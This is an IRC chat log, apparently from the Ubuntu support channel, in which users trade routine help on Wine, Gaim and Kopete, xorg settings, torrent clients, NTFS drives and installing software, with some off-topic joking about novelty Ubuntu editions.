[12:01] <louieb39> wow can I shut off these server messages for the room in gaim?
[12:01] <CharlieSu> aoirthoir: ok thanks...
[12:01] <Mirth> How do I find my Local IP address?
[12:01] <gesus> hello ubuntuers, this should be an easy one -- where can i change the default language settings so my dates in openoffice are displayed as day/month/year instead of the stupid US way?
[12:01] <Xenguy> Safe_: dpkg -l ttf*
[12:01] <CharlieSu> aoirthoir: have a URL?
[12:01] <kosnick> ardchoille : thx , it works
[12:01] <Xenguy> Safe_: then install some of them
[12:01] <ardchoille> Mirth: ifconfig
[12:01] <ardchoille> kosnick: You're welcome :)
[12:01] <Mirth> Thx ardchoille
[12:01] <Safe_> thanks
[12:01] <aoirthoir> Darth_Simpson: you might be able to do all of that it depends on how forceful your apps (in this case the dev thing) is about its location..for instance I can install firefox from a downlaod just by unpacking and it doesnt need to be in a special place see?
[12:01] <erika> can i use windows live messenger? through wine?
[12:01] <Enselic> erika: for MSN support you can try Gaim or Kopete e.g.
[12:02] <aoirthoir> as to the fonts I dont know where they come from
[12:02] <alex_ndc> hi people, I have a problem with Ubuntu Edgy ... my microphone does not capture anything ... the only way I can get it to capture anything is if I activate the microphone playback ... can someone help me please ?
[12:02] <Enselic> erika: for Ubuntu, try Gaim first
[12:02] <Darth_Simpson> aoirthoir: Thanks, I think so. I just downloaded it using "apt-get source liblame-dev" and that worked fine, it unpacked itself right into $HOME.
[12:02] <Enselic> erika: sudo apt-get install gaim
[12:02] <aoirthoir> erika probably not but gaim has most features you need..and there are other chat programs that will have even more..like video
[12:02] <erika> Enselic, Gaim not Supported Webcam :<
[12:02] <aoirthoir> Darth_Simpson: cool then
[12:02] <aoirthoir> erika there are other chat clients that do support webcam ..hold on I will get a list
[12:03] <Enselic> erika: Kopete does iirc, worth checking out I guess
[12:03] <aoirthoir> ah,,,Kopete thats the one
[12:03] <aoirthoir> CharlieSu: one sec
[12:03] <erika> aoirthoir, sure.. give me webcam supported
[12:03] <tri> does anyone know how to get an  NVIDIA_NF2_114_WINXP.EXE
[12:03] <tri> nVIDIA NFORCE2 Chipset Driver (Audio, LAN, AGP, SMBus, Memory Controller, IDE)
[12:03] <tri> working
[12:03] <erika> aoirthoir, any yahoo webcam supported?
[12:03] <erika> Enselic, is kopete supported yahoo webcam?
[12:03] <Enselic> !nvidia > tri
[12:04] <Enselic> erika: I guess yes, but Im not sure
[12:04] <aoirthoir> http://www.ubuntu.com/search/node/feisty
[12:04] <aoirthoir> erika perhaps in kopete...i know that webcams are supported in lots of programs...
[12:04] <aoirthoir> erika just not gaim for sure.
[12:04] <Taime1> i am reconfiguring my xorg, but when it asks me to give it a bus id, i type what lspci gave me, and i get this error: "invalid bus id"
[12:04] <Taime1> why?
[12:04] <vB|don> louieb39 is a cool kid :D
[12:05] <aoirthoir> louieb39: is crazy:) I dig him
[12:05] <gesus> hello ubuntuers, this should be an easy one -- where can i change the default language settings so my dates in openoffice are displayed as day/month/year instead of the US way
[12:05] <gesus> ??
[12:05] <erika> Enselic, .. if i want some windows programme in Ubuntu.. then can i use that programmes? like .exe ?
[12:05] <Enselic> Taime1: what did you type?
[12:05] <Taime1> 00:02.1
[12:05] <louieb39> ha thanks guys.
[12:05] <Enselic> erika: some programs, yes, with wine
[12:05] <tri> its a nic driver in that chipset that doesn't work - the drivers list the onboard video as a different driver
[12:05] <erika> aoirthoir, Is there any other Messenger supports yahoo n msn webcam?
[12:05] <Taime1> as per lspci
[12:05] <Enselic> Taime1: try 00:02:1
[12:05] <Enselic> Taime1: or 0:2:1
[12:05] <aoirthoir> erika: rarely. Occasionaly a program called wine can be made to make some windows programs work...but even then there are lots of issues
[12:05] <Enselic> latter first
[12:05] <aoirthoir> erika I dont use webcam so I dont know
[12:05] <Enselic> Taime1: latter first
[12:06] <aoirthoir> erika..for instance msn messenger wont work with wine typically
[12:06] <erika> ok.
[12:06] <tri> Enselic its a nic driver in that chipset that doesn't work - the drivers list the onboard video as a different driver
[12:06] <aoirthoir> pagans are not allowed..which means me and karl have to leave
[12:06] <aoirthoir> :P
[12:06] <RandomizeR> can someone please help! i'm using edgy and beryl on AIGLX and whenever i install the ATI Radeon 9000 driver beryl stops working and i get really slow graphics output :-s
[12:06] <KarlThePagan> O.o :P
[12:06] <Taime1> okay, that got me to the next screen.... is that going to ruin my computer if its not correct?
[12:06] <AmaroqWolf> erika: http://www.winehq.com
[12:07] <Xenguy> aoirthoir: you guys saw the evil ubuntu URL above? ;-)
[12:07] <aoirthoir> erika..remember most of the choices you made before...while occasionally technically able to do some things ...required yo uto give up lots of your freedom
[12:07] <greig_> while on the subject of wine, does wine have/require an opengl? i nkow this is not the wine channel, just thought id ask.
[12:07] <poningru> !beryl | RandomizeR
[12:07] <ubotu> RandomizeR: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[12:07] <l90bpm> http://parker1.co.uk/satanic/
[12:07] <aoirthoir> Xenguy: my boss came in a few minutes ago (thus the reason I went quite...) i had to help him with some things...so I missed it
[12:07] <Xenguy> hehe
[12:07] <erika> aoirthoir,  i just want to use webcam :< on msn or yahoo..
[12:07] <Xenguy> aoirthoir: what l90bpm said
[12:07] <aoirthoir> erika are you in ubuntu right now
[12:07] <erika> AmaroqWolf,  ty.
[12:07] <aoirthoir> Xenguy: i just clicked on it
[12:08] <erika> aoirthoir,  ya using dapper-drake
[12:08] <Enselic> tri: sorry, cant help
[12:08] <aoirthoir> RandomizeR: beryl lets you use three d for your desktop..not just games
[12:08] <Xenguy> aoirthoir: the pentagram is a little, er... upside-down =)
[12:08] <l90bpm> I just worship idols though, not satan
[12:08] <RandomizeR> poningru: ok, thx.. sry for asking in the wrong channel :")
[12:08] <aoirthoir> erika no maam I am in edgy
[12:08] <AmaroqWolf> erika: you're welcome
[12:08] <aoirthoir> I find edgy superior
[12:08] <Taime1> if i have an integrated card, how much dedicated memory should i allow?
[12:08] <KarlThePagan> I also worship idols... and the human carnal vessel
[12:08] <erika> aoirthoir,  :> i m using ubuntu-dapper
[12:08] <Enselic> Taime1: at least 64000
[12:09] <Enselic> Taime1: you have intel integrated?
[12:09] <aoirthoir> count me bookmarked
[12:09] <Taime1> 128 ok?
[12:09] <RandomizeR> aoirthoir: yeah, beryl is working just fine without installing the ATI driver, but i need to install it cuz i'm working on OGRE and i need full graphics support
[12:09] <erika> aoirthoir,  well nevamind .. better i read the documentation on web.
[12:09] <Enselic> Taime1: sure, but write it in right multiples to be sure
[12:09] <aoirthoir> erika this shouldnt matter....try installing kopote as suggested and see if it works
[12:09] <vitalstatistix> anyone here realize delayed resume from s3 suspend using the nvidia drivers
[12:09] <Enselic> Taime1: 131 231 or whatever it becomes
[12:09] <Taime1> 128000 right?
[12:09] <Enselic> Taime1: 1024 * 128
[12:09] <Taime1> oh...
[12:09] <AmaroqWolf> lmfao ubuntu satanic edition!?
[12:09] <aoirthoir> erika: try it..maybe you wont need to read the docs
[12:09] <Xenguy> hahah
[12:10] <erika> aoirthoir,  maybe.
[12:10] <aoirthoir> AmaroqWolf: Xenguy ive got that site bookmarked
[12:10] <Taime1> im not sure i understand that, im sorry
[12:10] <aoirthoir> erika you are too young for webcam anyhow
[12:10] <Xenguy> aoirthoir: pretty funny
[12:10] <AtlanticBoy> does ubuntu feisty come with gnome 2.18 ?
[12:10] <Enselic> Taime1: see what 1024 * 128 becomes, and write that value for VideoRam
[12:10] <aoirthoir> Xenguy: i really am pagan..lots of pagans are against satanism (its a matter of convenience for them) I read their books..didnt do as much for me as I thought..but sites like this rock
[12:10] <Enselic> Taime1: not sure it is necessary, you could try with 128000 and change if there is problems
[12:10] <Taime1> 131072
[12:10] <erika> aoirthoir,  ya i m newbie too :)
[12:10] <l90bpm> have you all seen the jesus edition yet?
[12:11] <l90bpm> one sec
[12:11] <aoirthoir> AtlanticBoy: they were working on 2.17 last I heard
[12:11] <bh_> AtlanticBoy, yes
[12:11] <ardchoille> aoirthoir , l90bpm Please take this stuff to #ubuntu-offtopic
[12:11] <aoirthoir> l90bpm: there is an UbuntuCE (christian edition)
[12:11] <Enselic> Taime1: if you have an intel integrated card, you might want to set CacheLines 1980 as well
[12:11] <aoirthoir> erika thats ok we all are in some ways.:)
[12:11] <l90bpm> http://www.whatwouldjesusdownload.com/christianubuntu/2006/07/about-ubuntu-christian-edition.html
[12:11] <roll> where is are the resources for the extremely converted guys to ubuntu?
[12:11] <gvc> !nvidia
[12:11] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[12:11] <Xenguy> aoirthoir: yep, I'm aware of the traditional pagan <-> satanist divide, hence my 'ducking' ;-)
[12:11] <Taime1> use kernel frambuffer device?
[12:11] <AtlanticBoy> bh_, thank you
[12:11] <aoirthoir> yup that is the one
[12:12] <erika> aoirthoir,  ty :)
[12:12] <bh_> AtlanticBoy, you're welcome
[12:12] <aoirthoir> erika yw...let us know if it works man
[12:12] <Mirth> Where does Wine keep all the Windows programs?
[12:12] <AmaroqWolf> Mirth: ~/.wine/drive_c
[12:12] <erika> aoirthoir,  i think i install it.. but in GNOME... now im using KDE i aint find WINE in programmes
[12:12] <aoirthoir> i am in #ubuntu-offtopic also
[12:13] <Mirth> Thanks AmaroqWolf
[12:13] <Zamber> can anyone help me with my boot sequence? I want to have a nice boot under 40s ;) here is my bootchart http://img341.imageshack.us/img341/3339/edgy200703232lt6.png any tips?
[12:13] <AmaroqWolf> You're welcome Mirth.
[12:13] <Bluhd> d
[12:13] <aoirthoir> erika you dont need wine for kopote nor do you need kde
[12:13] <Bluhd> ...disregard that lone letter
[12:13] <aoirthoir> you can run it fine in gnome
[12:13] <erika> aoirthoir,  na man i m ruiing kde
[12:13] <aoirthoir> most gnome and kde apps will run fine under the other WM
[12:13] <erika> aoirthoir,  ya that was i m saying i installed it in GNOME
[12:13] <aoirthoir> Mirth: wine doesnt install programs..you have to do it yourself
[12:14] <aoirthoir> ok erika give me a sec and I will see if I have it
[12:14] <Mirth> Oh, I know that, hehe
[12:14] <erika> sur
[12:14] <ninetailz> What was the command for extracting tarballs?
[12:14] <ardchoille> ninetailz: .tar.gz? .tar.bz2? .tar?
[12:14] <bruenig> ninetailz, tar xf
[12:14] <Mirth> Just trying to set my Torrents to open with utorrent by default in Firefox
[12:14] <ninetailz> thanks
[12:14] <Mirth> But couldn't find the directory
[12:14] <aoirthoir> erika check your Applications menu/INternet it should be there..if not log out and relogin (sometimes gnome doesnt place apps right and you have to do that)
[12:14] <AmaroqWolf> aoirthoir, Mirth: you can install programs in wine, by running their .exe's under wine.
[12:14] <aoirthoir> mirth you dont need torrents to install wine
[12:14] <erika> aoirthoir,  oki..
[12:14] <stepanstas> how do i add #ubuntu to my Gaim buddy list
[12:15] <aoirthoir> mirth go to http://www.ubuntuguide.org/ and follow the directions for getting wine setup
[12:15] <ardchoille> bruenig: Will "tar xzf" use bzip if it is a .tar.bz2 or gzip if it is a .tar.gz ?
[12:15] <aoirthoir> AmaroqWolf: aye
[12:15] <ninetailz> Damn, installing programs for linux really is a pain in the ass
[12:15] <ninetailz> always some package missing
[12:15] <bruenig> ardchoille, tar xf does it all
[12:15] <bruenig> Mirth, you can't really do that. The best way to do it is have firefox automatically download torrents to a particular directory and then configure utorrent to automatically load torrents that show up in that directory
[12:15] <ardchoille> bruenig: Ah, ok. Thanks for that :)
[12:15] <aoirthoir> ninetailz: you need to install from the repositories..then you wont have that problem ..go to http://www.ubuntuguide.org
[12:15] <AmaroqWolf> mirth: http://www.winehq.com their download section has instructions on how to add their repository to your repositories list, so you can apt-get wine and also recieve updates to it.
[12:15] <AmaroqWolf> or whoever asked. xD
[12:16] <aoirthoir> ninetailz: ubuntu almost never has that issue unless you downloaded the program yourself directly
[12:16] <Kooka> cya all
[12:16] <Enselic> aoirthoir: to be picky, neither GNOME nor KDE is a WM
[12:16] <Mirth> OKay, will try thar out
[12:16] <Mirth> that*
[12:16] <aoirthoir> Enselic: i was using shorthand
[12:16] <AngryElf> I'm trying to set up a PXE server and one of the steps is enabling tftpd, in inetd.conf -- I restarted inetd and tftp still isn't showing up in netstat -uap (howto here: http://www.howtoforge.com/ubuntu_pxe_install_server) -- any ideas why?
[12:17] <acemo> is there anyway that i can set mplayer as default for all filetypes it supports?
[12:17] <ninetailz> Yea, installing from repositories is easy
[12:18] <ninetailz> i just wanted to learn to install the other wya
[12:18] <bruenig> acemo, right click on a file, select preferences and then change the open with. You will have to do that once for each filetype.
[12:18] <richdurhm> hey u guys knwo of a program to convert avi and to burn to play in dvd player allinone preferable
[12:18] <richdurhm> ?
[12:18] <acemo> bruenig, problem there, i dont have most of the file types on my pc
[12:19] <Taime1> xorg config wants to know what modules should be loaded by default.. do i tell it to laod all of them??
[12:19] <cosmocain> as avi's a container format you got to at least stae which codec you got
[12:19] <clearzen> richdurhm: first you have to convert it to a mpeg and then you can use dvd author
[12:19] <cosmocain> state+
[12:19] <bruenig> richdurhm, devede will convert an avi to a dvd ready iso, Then you will have to burn the iso with another application. That is the closest one to all-in-one.
[12:19] <ardchoille> richdurhm: avidemux to convert and devede to burn to dvd
[12:19] <bruenig> ardchoille, devede can burn?
[12:19] <richdurhm> thnx guys!!! :)
[12:19] <ardchoille> bruenig: Yep, made a dvd yesterday
[12:20] <bruenig> ardchoille, oh I must just pick iso for some reason each time
[12:20] <bruenig> well if it can burn, then it can do all of it, convert avi to mpeg, then to iso, then burn
[12:20] <ardchoille> bruenig: Oh, you're right, it creates an ISO. my bad.
[12:20] <st0nedcordes> bruenig: cool
[12:20] <ardchoille> bruenig: I was thinking of xdvdshrink
[12:21] <bruenig> ardchoille, oh
[12:21] <richdurhm> ardchoille,  do u have gaim to maybe further guide me im desperate lol
[12:21] <bruenig> I don't know why they don't just add burn, it wouldn't be that hard with growisofs
[12:21] <richdurhm> y i hate using windows to do so but i love linux
[12:21] <ardchoille> richdurhm: I have never used an IM clients :(
[12:21] <richdurhm> really
[12:21] <ardchoille> bruenig: I totally agree.
[12:21] <richdurhm> ardchoille, ok il talk to u on irc if ur willing
[12:21] <RoundyT1> i need some FREENX help
[12:22] <RoundyT1> it keeps saying "Session Startup Failed"
[12:22] <ardchoille> richdurhm: Sure :)
[12:22] <richdurhm> ardchoille,  thnx
[12:23] <mike__> I have tried ubuntu herd 5 on my new laptop,It detects wireless "atheros' but browsing the net is inconsistant ,?
[12:23] <Xenguy> RoundyT1: freenx can be finicky, for sure...
[12:23] <RoundyT1> Xenguy i
[12:23] <Xenguy> RoundyT1: I spent lots of time getting it going some time ago
[12:23] <RoundyT1> Xenguy i'm using it over the LAN trying to access my server...?
[12:23] <Xenguy> RoundyT1: rocks when it works tho
[12:23] <Chai_Sangeen> hello
[12:23] <Taime1> horizontal sync rates?? help plese? im trying to configure x correctly
[12:23] <RoundyT1> Xenguy is that how im supposed to use it?
[12:23] <bruenig> !howdy | Chai_Sangeen
[12:23] <ubotu> Chai_Sangeen: Hi! Welcome to #ubuntu!
[12:24] <Xenguy> RoundyT1: all I can suggest is that you google the error messages - I spent a lot of time doing that
[12:24] <Chai_Sangeen> bruenig, heeey
[12:24] <ardchoille> Taime1: I would suggest googling your monitor make and model to get those proper rates
[12:24] <michael117> How can I investigate what programs and services/daemons are slowing down my computer the most and taking up the most ram and cpu resources to speed it up?
[12:24] <bruenig> michael117, top
[12:24] <Taime1> its a laptop
[12:24] <Xenguy> RoundyT1: sure, you can use it on a LAN, or over the Net
[12:24] <ardchoille> michael117: Open a terminal and run top
[12:24] <Chai_Sangeen> bruenig, i installed ubuntu using the alternate cd but not sure why it didnt install madwifi drivers ... im using first gen macbook
[12:25] <Chai_Sangeen> bruenig, it was installed by default on last install
[12:25] <Xenguy> RoundyT1: make sure that ssh authentication is not a problem
[12:25] <ninetailz> Anyone using Tilda?
[12:25] <bruenig> michael117, or install htop for a more intuitive navigation
[12:25] <michael117> I've run top but all that really comes up is xorg and firefox
[12:25] <bruenig> Chai_Sangeen, ask the channel, not me, I don't know by the way
[12:25] <Xenguy> RoundyT1: you may have to find and use an older version of the freenx client too
[12:25] <kev_> i want to instal xfire for linux how do i do that, is it on a repository somewhere?
[12:26] <mike__> anyone having probs with theros wifi?
[12:26] <bruenig> michael117, close xorg
[12:26] <mike__> atheros
[12:26] <kev_> !xfire
[12:26] <michael117> and sometimes the hard drive is getting accessed randomly
[12:26] <Chai_Sangeen> bruenig, okay no prob...
[12:26] <ubotu> Sorry, I don't know anything about xfire - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:26] <Xenguy> RoundyT1: but if you google and read long enough you'll come across that issue too
[12:26] <Farhadix> I have a modem with HDA technology, but It seems 2.6.15 kernel is not support this technology, then i wanna Upgrade my kernel to 2.6.17, how I can do this?
[12:26] <ninetailz> !tilda
[12:26] <ubotu> tilda: Linux terminal which behaves like terminals in shooter games. In component universe, is optional. Version 0.09.3-0ubuntu1 (edgy), package size 32 kB, installed size 148 kB
[12:26] <michael117> bruenig: but then I'm stuck at terminal
[12:26] <bruenig> michael117, all you really need
[12:26] <michael117> bruenig: lol...
[12:26] <RoundyT1> NX> 1004 Error: nxagent failed to start with: Unrecognized option: 1
[12:26] <rpc> anyone using utorrent with wine here?
[12:26] <ardchoille> kev_: What is xfire?
[12:27] <michael117> rpc: I use azureus on my home server
[12:27] <crdlb> rpc, if you need something light, try rtorrent
[12:27] <Chai_Sangeen>  i installed ubuntu using the alternate cd but not sure why it didnt install madwifi drivers ... im using first gen macbook can anyone help?
[12:27] <greig_> hi, can anyone advise me pls. when i try to go through the join channel option in xchat, xchat freezes
[12:27] <bruenig> rp__, am
[12:27] <Xenguy> rpc: nope, but ktorrent is worth a look perhaps
[12:27] <kev_> its a chat program for gameing
[12:27] <rpc> michael117 with wine?
[12:27] <bruenig> rpc, am
[12:27] <rpc> Xenguy how is the web gui working in ktorrent?
[12:27] <michael117> rpc: No, azureus is written java so it's portable, but java sucks
[12:27] <rpc> bruenig hm.. does web gui work fine?
[12:27] <Farhadix> anybody help?
[12:27] <Farhadix> I have a modem with HDA technology, but It seems 2.6.15 kernel is not support this technology, then i wanna Upgrade my kernel to 2.6.17, how I can do this?
[12:27] <bruenig> I don't use the webgui
[12:27] <rpc> michael117 oh yes... it does suck...
[12:28] <rpc> bruenig would you be able to try it? just for a sec, on localhost
[12:28] <clearzen>  michael117: at least it's portable
[12:28] <michael117> bruenig: do services show up in top?
[12:28] <Xenguy> rpc: dunno, I just started having a look at it; still mostly relying on azureus (which is quite the resource hog)
[12:28] <kev_> http://www.linux-gamers.net/modules/news/article.php?storyid=841
[12:28] <rpc> bruenig i wonder if it's worth installing at all as i need to use it over www but not sure if that works with wine
[12:28] <kev_> its a plugin for gaim how do i instal that?
[12:28] <michael117> Does rtorrent provide a way to automatically scan a directory for torrents and download torrents to a specific location?
[12:28] <rpc> Xenguy i still believe that utorrent+wine is a perfect combo
[12:29] <rpc> michael117 yes
[12:29] <rpc> but rtorrent = console and no www support
[12:29] <Xenguy> rpc: it's not "perfect" because it is not open source :-)
[12:29] <Xenguy> rpc: for one thing
[12:29] <RoundyT1> so wait....can i view my FREENX server if its only showing my command line?
[12:29] <rpc> Xenguy i trust it :)
[12:29] <michael117> Is it possible to just send commands to rtorrent without the ncurses interface?
[12:29] <will> I installed xfce. How do I use it?
[12:29] <BeepAU> Hi, I just did a fresh install of ubuntu edgy then a system update, I need to have these installed - Linux 2.6 kernel with kernel sources (or headers), GCC Compiler, Binutils, GNU Make, GTK/GLIB 2.0 libraries - can someone please give me a command to get all this stuff?
[12:29] <will> It won't run.
[12:29] <Dasnipa`> rpc nothing is 'perfect'
[12:30] <crdlb> michael117, rtorrent can monitor a directory for torrents
[12:30] <Xenguy> rpc: use whatever works for you; I seek FOSS solutions personally
[12:30] <RoundyT1> so wait....can i view my FREENX server if its only showing my command line?
[12:30] <misfit_toy> !window-decorator
[12:30] <rpc> Xenguy good point..
[12:30] <michael117> RoundyT1: What do you mean by "view"?
[12:31] <rpc> bruenig can you please help me and check if webgui works in wine? it won't take more than 3 mins
[12:31] <OuZo> anybody know how to do Message Tracking on ubuntu forums? thanks
[12:31] <Xenguy> RoundyT1: I don't think so - you need X display
[12:31] <bruenig> rpc, right I am getting the rar now
[12:31] <rpc> oh
[12:31] <crdlb> rpc, I send torrents to rtorrent via a ssh mount (to my torrent server) on my desktop
[12:31] <RoundyT1> michael117 I want to control my server...
[12:31] <rpc> thank you... sorry too
[12:31] <rpc> crdlb hmm...
[12:31] <michael117> rpc: Yes, it should... I've heard good things about utorrent well with wine
[12:31] <rpc> michael117 hm...
[12:31] <stepanstas> i used to have this channel saved in my buddy window in Gaim, how do i do that again?
[12:31] <RoundyT1> Ubuntu server---no X display installed, no nothing....can i view it via FREENX?
[12:32] <rpc> basically i'm only interested in web based torrent for some reasons
[12:32] <will> I installed xfce. How do I use it?
[12:32] <will> I installed xfce. How do I use it?
[12:32] <crdlb> rpc, look up torrentflux
[12:32] <rpc> so whatever works fine that way... it's fine by me :)
[12:32] <michael117> RoundyT1: Just ssh into it, change the configs for whatever, and make sure to restart the daemons
[12:32] <will> Sorry.
[12:32] <rpc> crdlb oh no... not that one..
[12:32] <Xenguy> RoundyT1: you need X (please prepend my nick if you are talking to me)
[12:32] <rpc> crdlb it can't compare to utorrent...
[12:32] <kev_> i have a problem, im trying to put files onto an external USB hard drive but when i try it says that disk is not writeable....how do i make it writeable??
[12:32] <Xenguy> RoundyT1: if you don't want X, then just use ssh
[12:32] <javaJake> kev_, is this a Windows-formatted hard drive?
[12:33] <kev_> yes its NTFS
[12:33] <RoundyT1> Xenguy so can I use it to login via VPN to a Cisco Router?
[12:33] <javaJake> kev_, OK, two seconds...
[12:33] <crdlb> rpc, rtorrent can :D
[12:33] <SeveredCross> You neet ntfs-3g. :)
[12:33] <rpc> kev_ use NTFS-3G driver
[12:33] <crdlb> imho
[12:33] <michael117> RoundyT1: If you are running any kind of decent server or plan to, you don't want any kind of graphics and no X
[12:33] <kev_> where or how do i get that?
[12:33] <ardchoille> will: Log out, then at the gdm screen choose the options button, find xfce and choose it then log in.
[12:33] <rpc> crdlb hm... rtorrent? webgui for it you mean?
[12:33] <RoundyT1> michael117 so can I use it to login via VPN to a Cisco Router?
[12:33] <Mirth> Another question!
[12:34] <Xenguy> RoundyT1: more details required, but VPN and Cisco is going to quickly go over my head, and probably many others :-)
[12:34] <RoundyT1> lol
[12:34] <RoundyT1> weird
[12:34] <skulrid> im looking for a player for my movies/divx. any recomendations?
[12:34] <Mirth> I have Photoshop 7 installed by Wine, and I want a "shortcut" to it on the desktop
[12:34] <RoundyT1> so what the heck is FreeNX even for?
[12:34] <Daemonik> If I install a "command line system" using the Ubuntu alternate disk will it install power management stuff (suspend etc) and set it up by default?
[12:34] <Mirth> I did Make link and put it on the desktop, and that didn't work
[12:34] <michael117> RoundyT1: SSH into the server, then telnet to the cisco router
[12:34] <SeveredCross> skulrid: mplayer, VLC...
[12:34] <skulrid> thnks
[12:34] <javaJake> kev_, http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_mount_Windows_partitions_.28NTFS.29_on_boot-up.2C_and_allow_users_read_and_write_access
[12:34] <Xenguy> RoundyT1: it is simple - it is a better VNC, for desktops, not servers
[12:35] <SeveredCross> Ohgood link.
[12:35] <richdurhm> hey guys how do install tar.bz2 's ??
[12:35] <kev_> thx :D
[12:35] <NaN_> Hey, my perl locale is all messed up, how can I fix this?
[12:35] <michael117> richdurhm: Extract them then ./configure and make install
[12:35] <Xenguy> richdurhm: bunzip2 will decompress
[12:35] <rpc> Mirth lol does PS7 work fine in wine?
[12:35] <crdlb> michael117, you forgot "make"
[12:36] <NaN_> rpc it does.
[12:36] <ardchoille> richdurhm: You have to unpack them (tar xjf file.tar.bz2) then go inside the created folder and read the README and INSTALL files.
[12:36] <rpc> oh lol.. nice
[12:36] <RoundyT1> what's the easiest thing to view Ebooks with? or should i say "PDF books"
[12:36] <Mirth> rpc, the compatibility is supposed to be perfect :)
[12:36] <bruenig> rpc, http://i107.photobucket.com/albums/m290/bruenig/utorrent.png
[12:36] <SeveredCross> RoundyT1: GhostView?
[12:36] <rpc> NaN_ isn't it laggy or something?
[12:36] <NaN_> RoundyT1 probably evince
[12:36] <NaN_> rpc not at all.
[12:36] <rpc> Mirth is it really working fine?
[12:36] <rpc> lol...
[12:36] <NaN_> rpc, i use it all the time.
[12:36] <rpc> nice
[12:36] <Xenguy> RoundyT1: xpdf, evince, and there are other pdf viewers
[12:36] <Mirth> Let me try it some more, I just installed it
[12:36] <BeepAU> Hi, I just did a fresh install of ubuntu edgy then a system update, I need to have these installed - Linux 2.6 kernel with kernel sources (or headers), GCC Compiler, Binutils, GNU Make, GTK/GLIB 2.0 libraries - can someone please give me a command to get all this stuff?
[12:36] <NaN_> rpc, you can even get PSCS2 working.
[12:36] <bruenig> should have blurred the stuff at the top I guess
[12:36] <bruenig> well it is password protected
[12:36] <rpc> NaN_ lmao...
[12:36] <RoundyT1> Well, they are books and I always find myself not liking the view it gives me for some reason
[12:37] <ardchoille> richdurhm: If it is a ./configure, make, make install process, you will have to "sudo apt-get install build-essential" if you haven't already done so
[12:37] <rpc> NaN_ how about ms office?
[12:37] <Mirth> I don't get the joke rpc :(
[12:37] <SeveredCross> BeepAU: Use Synaptic and find the packages
[12:37] <RoundyT1> is there a way to make any pdf viewer show the as like a BOOK? page|page
[12:37] <NaN_> rpc afaik, you can run office in crossover.
[12:37] <rpc> Mirth oh it makes me laugh how strong wine became
[12:37] <jimmygoon> What is the new media center distro that just came out a few days ago...?
[12:37] <NaN_> rpc, but i prefer OOo
[12:37] <cosmocain> BeepAU: Use the Update-Manager
[12:37] <BeepAU> SeveredCross -- do you know what they're called?
[12:37] <michael117> crdlb: I know to run rtorrent in screen but can I then also send commands to it without ncurses, such as "rtorrent --newtorrent blah.torrent --saveto /location/to/save/to" or something of that sort? Then I could make a script to do all the logic of sorting it
[12:37] <RoundyT1> is there a way to make any pdf viewer show the as like a BOOK? page|page
[12:37] <michael117> and a php interface
[12:37] <rpc> NaN_... not really sure, i do like gui in ms office 2003...
[12:37] <packetscan> can someone pastebin their lilo.conf file :p
[12:37] <Mirth> Im new to Linux, so I like to feel at home with some Windows apps :D
[12:38] <RoundyT1> is there a way to make any pdf viewer show them as like a BOOK? page|page
[12:38] <SeveredCross> BeepAU: Just filter the list by name
[12:38] <ardchoille> !repeat | RoundyT1
[12:38] <ubotu> RoundyT1: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[12:38] <rpc> Mirth does it take strong cpu and lots of ram to run wine for ps7?
[12:38] <Xenguy> !repeat | RoundyT1
[12:38] <SeveredCross> If you need the 2.6 kernel, just type linux kernel into the list, it'll show you a list of all packages relating to the kernel.
[12:38] <crdlb> michael117, no, but rtorrent can be made to monitor a directory such as /var/media/Torrents; any torrent placed in that folder will start downloading automatically
[12:38] <Mirth> I'm not sure rpc :(
[12:38] <Mirth> Haven't really done anything in it yet, hehe
[12:38] <SeveredCross> If you need gcc, type gcc.
[12:38] <rpc> Mirth ok
[12:38] <Xenguy> RoundyT1: don't repeat, or be ignored
[12:38] <sgrover> Running ubuntu 6.10 server with Apache.  Apache is refusing to honor the ProxyPass directive, but the exact same code works on another server.  mod_proxy enabled.  any tips?
[12:38] <misfit_toy> anyone using compiz have a suggestion for which "window-decorator" I should be using?
[12:39] <SeveredCross> Though, to get gcc, binutils, make, you might just be able to do sudo apt-get install build-essential
[12:39] <Mirth> So can anyone teach me how to make a shortcut?
[12:39] <michael117> crdlb: So it will just throw all downloads to a single folder and blah, that's it?
[12:39] <SeveredCross> I think that grabs GCC, G++, Make, etc.
[12:39] <stepanstas> i  used to have this channel saved in my buddy window in Gaim, how do i do that again?
[12:39] <NaN_> I get `error: Unable to set locale.` when trying to do hp-setup, and i get warnings about it when installing things and doing various things.
[12:39] <Xenguy> Mirth: in GNOME it is called a launcher; or do you mean 'symlink' ?
[12:39] <michael117> Mirth: What kind of shortcut?
[12:39] <crdlb> michael117, yep, just save the .torrent file to that folder
[12:39] <rpc> well a good guy who was meant to help me out seems gone... anyone else able to tell me if webgui works in utorrent run under wine? and are there any problems at all?
[12:39] <Lattyware> How can I get azureus to quit cleanly on shutdown in ubuntu?
[12:39] <Mirth> I have no clue Xenguy :D
[12:40] <NaN_> rpc, i don't know, but i've heard good things about utorrent through wine.
[12:40] <Xenguy> Mirth: what do you want ?
[12:40] <BeepAU> SeveredCross -- wil that get me Linux 2.6 kernel with kernel sources (or headers) and GTK/GLIB 2.0 libraries ?
[12:40] <rpc> NaN_ well yes me too but no one said about webgui yet.. but i believe it might work anyway
[12:40] <SeveredCross> Nope.
[12:40] <dauoalagio2> hello whenever i try to add a printer, the little window that pops up always dies non-responding
[12:40] <NaN_> rpc, you can check http://appdb.winehq.com for app status.
[12:40] <Mirth> Im trying to make a "Shortcut" of Photoshop 7 to my Desktop
[12:40] <michael117> crdlb: I like rtorrent because it seems so low in resources, but it is very unorganized because I can't specify what location to save to... do you know of any torrent client daemons?
[12:40] <SeveredCross> Those are separate BeepAU.
[12:40] <rpc> NaN_ oh nice, thank you!
[12:40] <Lattyware> It always takes it as a crash when you quit without closing it, which sucks, especially in feisty - as there is a bug where you have to delete settings when it crashes to get it to work again.
[12:40] <NaN_> rpc, no problem :] 
[12:40] <dauoalagio2> rpc, i've gotten utorrent to work in wine perfectly
[12:40] <yeager_> hey guys... feisty works great on ps3!
[12:40] <Xenguy> Mirth: in GNOME, that is a launcher - just do a right-click etc.
[12:40] <BeepAU> SeveredCross -- how can i get them?
[12:40] <rpc> dauoalagio2 did ya?
